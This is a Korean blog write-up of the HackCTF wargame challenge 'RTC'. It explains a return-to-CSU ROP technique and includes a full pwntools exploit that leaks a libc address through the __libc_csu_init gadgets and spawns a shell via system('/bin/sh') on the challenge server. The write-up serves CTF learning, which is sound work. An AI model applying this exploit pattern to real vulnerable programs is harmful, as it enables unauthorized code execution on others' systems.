RTC

2022. 4. 25. 18:56·Wargame/HackCTF

https://jiravvit.tistory.com/entry/RTC-Return-to-CSU

 

자료를 참고하여 익스플로잇을 진행했다.

 

rtc 바이너리의 가젯을 찾아보니 pppr에 해당하는 가젯이 없다. 따라서 RTC 기법을 통해 해당 가젯을 이용할 수 있게끔 문제 풀이를 진행했다. 

 

코드는 간단한다. read 함수에서 BOF -> ROP를 통해 system 함수를 실행시키면 된다.

 

다만 마땅한 gadget이 없어서 문제인데, libc_csu_init 부분에서 얻었다.

위 참고 링크 사진

페이로드를 작성할 땐 csu_init -> csu_call 순으로 작성한다. 링크를 참조하면 무슨 값을 각각 넣어야하는 지 잘 나와 있다. 다만, 짚고갈 포인트는 다음과 같다.

r13을 rdx로, r14를 rsi로, r15d를 edi로 옮긴다.

여기서 든 생각은 gadget_2에서 r13, r14, r15를 제어할 수 있는데, 이후 바로 gadget_1를 사용함으로써

우리는 rdx, rsi, edi를 제어할 수 있다는 것이다.

* rdi가 아니라 edi라서 조금 아쉽지만 어차피 우리는 보통 첫번째 인자에 rbi의 8바이트 이내의 값을 넣기 때문에 노상관이다.

 

call [r12 + rbx*8] 여기서 우리가 원하는 주소를 실행할 수 있다고 생각할 수 있다. rbx에 0을 넣고 r12에 함수의 got 주소를 넣으면 된다.

또한, 내가 페이로드를 작성할땐 add rsp, 8 부분은 필요 없어서 가젯의 주소를 0x4006ba로 두었다.

 

익스플로잇 시나리오는 다음과 같다.

1. BOF 후 cus_init을 가젯으로 활용, write(1, read@got, 8)을 만들어 read의 실제 주소 구함

2. libc에서 가져온 read_offset과 read 실제 주소를 이용해 base 주소 구함 ( system, /bin/sh 실제 주소까지 구함 )

3. main 함수로 다시 돌아와 pr 가젯을 이용해 system('/bin/sh')을 실행

 

Exploit Code

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3025)
#p = process('./rtc')
e = ELF('./rtc')
libc = ELF('./libc.so.6')

binsh_offset = list(libc.search("/bin/sh\x00"))[0]
main = 0x4005f6

# pop rbx; pop rbp; pop r12; pop r13; pop t14; pop r15; ret
csu_init = 0x4006ba
csu_call = 0x4006a0

pr = 0x4006c3

read_got = e.got['read']
read_offset = libc.symbols['read']
write_got = e.got['write']
system_offset = libc.symbols['system']


pay = 'A' * 0x48

# write(1, read@got, 8) // ROP by using rtc
pay += p64(csu_init)
pay += p64(0) # rbx
pay += p64(1) # rbp
pay += p64(write_got) # r12
pay += p64(8) # r13 --> rdx
pay += p64(read_got) # r14 --> rsi
pay += p64(1) # r15 --> edi
pay += p64(csu_call)
pay += p64(0) * 7 # [r12 + rbx*8]
pay += p64(main)

p.sendlineafter('\n', pay)
#gdb.attach(p)
read = u64(p.recv(8))
log.info("read_addr : " + hex(read))

base = read - read_offset
system = base + system_offset
binsh = base + binsh_offset

log.info('system_addr : ' + hex(system))

pay1 = 'A' * 0x48
pay1 += p64(pr)
pay1 += p64(binsh)
pay1 += p64(system)

p.sendlineafter('\n', pay1)

p.interactive()
저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • World_best_encryption_tool
  • You_are_silver
  • ROP
  • Gift
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Remote Code Execution
    Machine Learning
    ubuntu 명령어
    Text Summarization
    sqli
    TFCCTF2022
    python
    GPNCTF
    cache
    justCTF
    bug hunter
    pwntools
    Deep learning
    RCE
    cache poisoning
    TsukuCTF2022
    Ubuntu 기초 셋팅
    Crypto
    Ubuntu 기초
    bug report
  • 최근 댓글

  • 최근 글

Cronus
RTC
상단으로

티스토리툴바